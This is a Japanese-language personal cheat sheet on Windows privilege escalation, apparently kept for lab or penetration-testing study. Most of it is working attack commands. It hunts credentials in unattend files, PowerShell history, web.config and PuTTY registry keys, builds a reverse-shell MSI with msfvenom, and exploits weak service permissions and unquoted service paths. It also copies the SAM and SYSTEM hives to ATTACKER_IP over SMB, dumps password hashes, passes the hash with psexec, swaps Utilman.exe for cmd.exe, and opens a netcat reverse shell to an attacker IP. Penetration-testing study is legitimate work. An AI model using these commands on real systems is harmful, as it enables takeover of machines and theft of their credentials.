Windows PrivEscメモ

現在のユーザーが所持している権限
whoami /priv
攻撃ベクタになり得る権限
- SeImpersonatePrivilege ← 認証後にユーザーの偽装が可能
- SeBackupPrivilege ← 全てのファイルに読み書きが可能
Windows Deployment Servicesで使用したパスワード
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
Powershell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
保存済みのWindowsクレデンシャル
保存済みのWindowsクレデンシャルを確認するコマンド
cmdkey /list
保存済みクレデンシャルで新しいコマンドプロンプトを起動する
runas /savecred /user:{saved user} cmd.exe
IISの設定ファイル
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\{version}\Config\web.config
web.configからconnectionString
要素を検索
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
SSHクライアントPuTTYのクレデンシャル
reg query HKEY_CURRENT_USER\Software\{username}\PuTTY\Sessions\ /f "Proxy" /s
タスクスケジューラ
存在するタスクの確認
schtasks /query /tn {taskname} /fo {format} /v
タスクのマニュアル実行
schtasks /run /tn {taskname}
ファイルに対する権限を確認
icacls path\to\file
権限一覧
a sequence of simple rights:
N - no access
F - full access
M - modify access
RX - read and execute access
R - read-only access
W - write-only access
D - delete access
a comma-separated list in parentheses of specific rights:
DE - delete
RC - read control
WDAC - write DAC
WO - write owner
S - synchronize
AS - access system security
MA - maximum allowed
GR - generic read
GW - generic write
GE - generic execute
GA - generic all
RD - read data/list directory
WD - write data/add file
AD - append data/add subdirectory
REA - read extended attributes
WEA - write extended attributes
X - execute/traverse
DC - delete child
RA - read attributes
WA - write attributes
inheritance rights may precede either form and are applied
only to directories:
(OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container
msi経由でのPrivEsc
msi実行は管理者権限で行われるためこれを利用するテクニック
事前に2つのレジストリキーに対して値を設定する必要がある
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenomでmsiを生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST={targetIP} LPORT={localport} -f msi -o malicious.msi
何らかの方法で生成したmsiを攻撃対象に転送する
// attacker
python -m http.server 8080
// target
wget http://attaker_machine:8080/malicious.msi
msiを実行する
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windowsサービスの設定不備
サービス名を列挙
sc query state= all | findstr /B SERVICE_NAME
サービスの設定情報を表示(qc=query configration)
sc qc {servicename}
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
サービスが起動するバイナリの権限を確認
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
everyoneにModifiableが設定されているので悪意のあるバイナリに差し替えが可能
サービスの起動バイナリのパスが『"』で囲まれていない
// correct
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
// incorrect
BINARY_PATH_NAME : C:\Program Files\RealVNC\VNC Server\vncserver.exe -service
引用符で囲まれていないサービスパスにスペースが含まれている場合、シェルによって下記の順序でコマンドが解決される
service path | arg1 | arg2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
このためC:\MyPrograms\Disk.exe
かC:\MyPrograms\Disk Sorter.exe
に悪意のあるバイナリを作成することで優先して実行させることができる。
サービスに対する権限設定の不備
accesschk64.exe
を使用してサービスの権限を確認
Users
に対してSERVICE_ALL_ACCESS
が設定されているため、サービスの設定を変更することが可能
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
実行バイナリのパスを変更する
C:\> sc config {servicename} binPath= "{binarypath}" obj= LocalSystem
バイナリに実行権限を付与する
C:\> icacls {binarypath} /grant Everyone:F
サービス再起動(cmdで実行しないと再起動できない...)
sc stop {servicename}
sc start {servicename}
ユーザーに設定されている権限
Windowsで利用可能な権限一覧
権限の確認whoami /priv
SeBackupとSeRestore
この権限が付与されている場合、ユーザーは任意のファイルへの読み書き権限が与えられるため、
SAM および SYSTEM レジストリ ハイブをコピーして、ローカル管理者のパスワード ハッシュを抽出できる
レジストリの抽出
// SYSTEM
reg save hklm\system {save path}
// SAM
reg save hklm\sam {save path}
抽出したファイルをSMB経由で攻撃マシンに転送
// Atacker
mkdir share
python /opt/impacket/examples/smbserver.py -smb2support -username {username} -password {password} public share
// victim
C:\> copy {source file path} \\ATTACKER_IP\public\
ユーザーのパスワードハッシュ抽出
python /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
抽出したハッシュを使用してシェルを獲得
python /opt/impacket/examples/psexec.py -hashes {hash} {username}@{victimIP}
SeTakeOwnership
任意のオブジェクトに対する所有権を取得することを許可する権限
SYSTEM として実行されているサービスを検索し、サービスの実行可能ファイルの所有権を取得できる
utilman.exeへの攻撃
utilman.exeはロック画面中に単純なオプション機能を提供する組み込みアプリケーション
takeownコマンドで対象の所有権を得る
takeown /f C:\Windows\System32\Utilman.exe
実行権限(Full Control)を付与
icacls C:\Windows\System32\Utilman.exe /grant Everyone:F
Utilman.exeをcmd.exeに上書き
copy cmd.exe C:\Windows\System32\Utilman.exe
Windowsをロック画面にし、Ease of access
をクリックするとcmd.exeが起動する
SeImpersonate / SeAssignPrimaryToken
これらの権限により、プロセスは他のユーザーのプロセスになりすますことができる
RogueWinRM.exeを使用してなりすました権限でリバースシェルを張る
RogueWinRM.exe -p "nc64.exe" -a "-e cmd.exe {attackerIP} {attackerport}"
パッチのあたっていないソフトウェア
wmic
コマンドでインストールされているソフトウェアを表示する
wmic product get name,version,vendor
tips
ユーザー作成&グループ設定
net user {username} {password} /add
net localgroup {groupname} {username} /add
Windows PrivEscツール